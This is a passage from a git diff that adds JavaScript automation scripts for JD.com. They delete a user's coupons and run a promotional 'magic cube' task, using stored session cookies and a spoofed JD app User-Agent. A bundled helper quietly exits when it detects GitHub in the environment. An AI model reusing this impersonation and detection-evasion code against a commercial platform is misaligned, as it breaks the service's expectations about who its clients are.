JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_delCoupon.js b/jd_delCoupon.js new file mode 100644 index 0000000..5cb6e53 --- /dev/null +++ b/jd_delCoupon.js @@ -0,0 +1,235 @@ +/* + +0 0 * 6 * jd_delCoupon.js + +*/ +const $ = new Env('删除优惠券'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多少个已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消多少个已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +let delCount = 0; +let hasKeyword = 0; // 包含关键词的券 +const JD_API_HOST = 'https://wq.jd.com/'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】删除优惠券失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getCoupon(); + await showMsg(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function delCoupon(couponId, couponTitle) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/activeapi/deletecouponlistwithfinance?couponinfolist=${couponId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.retcode === 0) { + console.log(`删除优惠券---${couponTitle}----成功\n`); + delCount++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let states = ['1', '6'] + for (let s = 0; s < states.length; s++) { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=${states[s]}&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = '' + let couponId = '' + if (states[s] === '6') { + // 删除已过期 + let expire = data['coupon']['expired'] + for (let i = 0; i < expire.length; i++) { + couponTitle = expire[i].couponTitle + couponId = escape(`${expire[i].couponid},1,0`); + await delCoupon(couponId, couponTitle) + } + // 删除已使用 + let used = data['coupon']['used'] + for (let i = 0; i < used.length; i++) { + couponTitle = used[i].couponTitle + couponId = escape(`${used[i].couponid},0,0`); + await delCoupon(couponId, couponTitle) + } + } else if (states[s] === '1') { + // 删除可使用且非超市、生鲜、京贴 + let useable = data.coupon.useable + for (let i = 0; i < useable.length; i++) { + couponTitle = useable[i].limitStr + couponId = escape(`${useable[i].couponid},1,0`); + if (!isJDCoupon(couponTitle)) { + await delCoupon(couponId, couponTitle) + } else { + $.log(`跳过删除:${couponTitle}`) + hasKeyword++; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } + }) +} + +function isJDCoupon(title) { + if (title.indexOf('京东') > -1) + return true + else if (title.indexOf('超市') > -1) + return true + else if (title.indexOf('京贴') > -1) + return true + else if (title.indexOf('全品类') > -1) + return true + else if (title.indexOf('话费') > -1) + return true + else if (title.indexOf('小鸽有礼') > -1) + return true + else if (title.indexOf('旗舰店') > -1) + return false + else if (title.indexOf('生鲜') > -1) + return true + else + return false +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_desire.js b/jd_desire.js new file mode 100644 index 0000000..44d7640 --- /dev/null +++ b/jd_desire.js @@ -0,0 +1,411 @@ +/* +京东集魔方 +=========================== + +cron:2 0,11 * * * +============Quantumultx=============== +[task_local] +#集魔方 +2 0,11 * * * jd_desire.js, tag=集魔方, enabled=true + */ + +const $ = new Env('京东集魔方'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let uuid +$.shareCodes = [] +let hotInfo = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.sku = [] + $.sku2 = [] + $.adv = [] + $.hot = false + uuid = randomString(40) + await jdMofang() + hotInfo[$.UserName] = $.hot + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMofang() { + console.log(`\n集魔方 抽京豆 赢新品`) + await getInteractionInfo() +} + +//第二个 +async function getInteractionInfo(type = true) { + return new Promise(async (resolve) => { + $.post(taskPostUrl("getInteractionInfo", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"sign":3}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getInteractionInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + // console.log(data.result.taskPoolInfo.taskList); + if (type) { + $.interactionId = data.result.interactionId + $.taskPoolId = data.result.taskPoolInfo.taskPoolId + for (let key of Object.keys(data.result.taskPoolInfo.taskList)) { + let vo = data.result.taskPoolInfo.taskList[key] + if (vo.taskStatus === 0) { + if (vo.taskId === 2004) { + await queryPanamaFloor() + for (let id of $.sku2) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id) + await $.wait(2000) + if ($.complete) break + } + } + if (vo.taskId === 2002) { + await qryCompositeMaterials() + for (let id of $.sku) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id) + await $.wait(2000) + if ($.complete) break + } + } + if (vo.taskId === 2006) { + await qryCompositeMaterials2() + for (let id2 of $.adv) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id2) + await $.wait(2000) + if ($.complete) break + } + } + } else { + console.log(`已找到当前魔方`) + } + } + data = await getInteractionInfo(false) + if (data.result.hasFinalLottery === 0) { + let num = 0 + for (let key of Object.keys(data.result.taskPoolInfo.taskRecord)) { + let vo = data.result.taskPoolInfo.taskRecord[key] + num += vo + } + if (num >= 9) { + console.log(`共找到${num}个魔方,可开启礼盒`) + await getNewFinalLotteryInfo() + } else { + console.log(`共找到${num}个魔方,不可开启礼盒`) + } + } else { + console.log(`已开启礼盒`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function queryPanamaFloor() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryPanamaFloor API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + for (let skuVo of data.data.advData.list) { + $.sku2 = ["100038312438","100022213851","100038312444","100038962384","100023274622", "100035222536", "10051584954296", "10052442367186"] + $.sku2.push(skuVo.advertId) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + 